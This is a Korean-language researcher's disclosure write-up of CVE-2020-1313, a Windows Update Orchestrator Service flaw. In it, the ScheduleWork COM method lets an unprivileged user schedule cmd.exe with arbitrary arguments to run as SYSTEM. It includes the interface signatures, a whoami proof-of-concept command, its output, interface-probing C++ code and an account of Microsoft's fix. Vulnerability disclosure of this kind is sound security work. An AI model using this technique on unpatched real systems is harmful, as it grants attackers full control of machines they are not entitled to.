
Windows Update Orchestrator Service 권한 상승 취약점의 개념 증명 익스플로잇
Windows Update Orchestrator Service는 다른 구성 요소가 이미 다운로드된 Windows 업데이트를 설치하는 데 사용하는 DCOM 서비스입니다. USO는 호출자에 대한 부적절한 권한 부여로 인해 권한 상승(모든 사용자에서 로컬 시스템으로)에 취약했습니다. 이 취약점은 Windows 10 및 Windows Server Core 제품에 영향을 미쳤습니다. Microsoft는 2020년 6월 패치 화요일에 수정했습니다.
usosvc.dll에 구현된 UniversalOrchestrator 서비스(9C695035-48D2-4229-8B73-4C70E756E519)는 NT_AUTHORITY\SYSTEM으로 실행되며, BUILTIN\Users(및 기타)에 대한 액세스 권한으로 구성됩니다. 이 서비스가 구현하는 COM 클래스의 열거는 차단되어 있지만(OLEView.NET: COM 인터페이스 쿼리 오류 - ClassFactory에서 요청한 클래스를 제공할 수 없음), 프록시 정의에 의해 노출된 IUniversalOrchestrator 인터페이스(c53f3549-0dbf-429a-8297-c812ba00742d)는 표준 COM API 호출을 통해 얻을 수 있습니다. 다음 3가지 메서드가 내보내집니다.
virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
ScheduleWork 메서드는 서비스 컨텍스트에서 실행할 명령을 예약하는 데 사용할 수 있으며, 요청자에 대한 권한 부여 없이 수행할 수 있습니다. 대상 실행 파일 자체는 디지털 서명되어야 하고 c:\windows\system32 또는 Program Files의 공용 파일 아래에 있어야 하지만, 명령줄 인수도 지정할 수 있습니다. 따라서 c:\windows\system32\cmd.exe를 실행하고 NT_AUTHORITY\SYSTEM에서 임의 코드 실행을 얻을 수 있으므로 이 문제는 로컬 권한 상승입니다.
작업은 "예약"되며 즉시 시작되지 않습니다.
제가 만든 PoC는 cmdLine c:\windows\system32\cmd.exe와 매개변수 /c "whoami > c:\x.txt & whoami /priv >>c:\x.txt"로 "작업"을 구성합니다.
실행:
C:\111>whoami
desktop-43rnlku\unprivileged
C:\111>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\111>whoami /priv
C:\111>UniversalOrchestratorPrivEscPoc.exe
Obtaining reference to IUniversalOrchestrator
Scheduling work with id 56594
Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.
예약된 작업에 대한 항목이 레지스트리에 추가됩니다.

지정된 명령은 사용자 상호 작용이 예상되지 않는 야간(약 23:20) 또는 SLA가 3일 경과한 후에 실행됩니다.
OleView.NET으로 USO 서비스의 인터페이스 정의를 얻을 수 없었을 때, 수백 개의 CLSID/IID 조합을 살펴보고 어느 수준에서 작동할 것으로 예상되는 스크립트를 만들었습니다. 다음과 같은 모양이었습니다.
void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)
{
void *ss = NULL;
IID iid;
ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else
HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);
printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}
void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)
{
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}
...
TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
// ... and hundreds of more
접근 방식의 결과는 다음과 같았습니다.
UniversalOrchestrator IUniversalOrchestrator: WORKING
UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING
UxUpdateManager IUxUpdateManager: WORKING
그런 다음 구현을 리버스 엔지니어링하기 시작했고 위에서 설명한 흐름을 발견했습니다.
Microsoft는 2020년 6월 패치 화요일에 누락된 CoImpersonateClient API 호출을 추가하여 이 문제를 수정했습니다.
수정 적용 전 구현:

수정 적용 후 구현:

이것이 어떻게 도움이 될까요? 가장(Impersonation)은 요청 처리 시작 시 수행되므로 레지스트리를 업데이트하는 API 호출은 호출자의 보안 컨텍스트에서 실행됩니다. 호출자가 HKEY_LOCAL_MACHINE에 대한 권한이 없는 경우 uso API 메서드는 그에 따라 실패합니다.
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1313